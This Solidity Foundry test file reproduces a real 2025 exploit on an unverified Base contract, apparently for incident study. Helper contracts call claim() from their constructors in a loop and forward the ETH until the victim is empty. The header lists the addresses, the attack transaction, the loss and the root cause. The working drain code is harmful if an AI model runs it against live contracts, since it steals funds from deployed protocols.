src/test/2025-05/unverified_91a1_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 551.22 USD
7// Attacker : 0xc0082433ac0928eCB63D9A1b87fDd8567F956f11
8// Attack Contract : 0x7F05e20F02F92AC5801C410cb76D2F8531068208
9// Vulnerable Contract : 0x91a1Dd68dc0bA6526d560ba9E9a3715E0634193D
10// Attack Tx : https://basescan.org/tx/0x2d57862be191d62342b320bd3595b9a747fad10c7c3920ed86a2f7ac8a4c2cc7
11//
12// @Info
13// Vulnerable Contract Code : unverified
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/1197
17//
18// Attack summary: The attacker repeatedly deployed fresh helper contracts that called claim()
19// during construction, received native ETH from the unverified victim, and forwarded it.
20// Root cause: claim eligibility was tied to the caller address/code state, allowing
21// constructor-time helper contracts to bypass the intended one-claim or contract-caller limit.
22 
23address constant VULNERABLE = 0x91a1dd68dC0Ba6526d560Ba9E9a3715E0634193D;
24 
25interface IUnverified91a1 {
26    function claim() external returns (uint256);
27}
28 
29contract ContractTest is BaseTestWithBalanceLog {
30    address payable private profitReceiver;
31 
32    function setUp() public {
33        uint256 forkBlock = 30_841_258;
34        vm.createSelectFork("base", forkBlock);
35 
36        profitReceiver = payable(makeAddr("profitReceiver"));
37        attacker = profitReceiver;
38 
39        vm.label(VULNERABLE, "Unverified Victim");
40    }
41 
42    function testExploit() public balanceLog {
43        uint256 victimBalanceBefore = VULNERABLE.balance;
44        uint256 receiverBalanceBefore = profitReceiver.balance;
45 
46        // step 1: claim repeatedly from fresh constructor-time helper addresses.
47        uint256 successfulClaims;
48        while (VULNERABLE.balance > 0) {
49            try new ConstructorClaimHelper(profitReceiver) {
50                successfulClaims++;
51            } catch {
52                break;
53            }
54        }
55 
56        // step 2: prove the constructor claims drained the victim and reached the profit receiver.
57        uint256 profit = profitReceiver.balance - receiverBalanceBefore;
58        assertGt(successfulClaims, 1);
59        assertEq(VULNERABLE.balance, 0);
60        assertEq(profit, victimBalanceBefore);
61    }
62}
63 
64contract ConstructorClaimHelper {
65    constructor(
66        address payable profitReceiver
67    ) {
68        IUnverified91a1(VULNERABLE).claim();
69 
70        (bool ok,) = profitReceiver.call{value: address(this).balance}("");
71        require(ok, "forward failed");
72    }
73 
74    receive() external payable {}
75}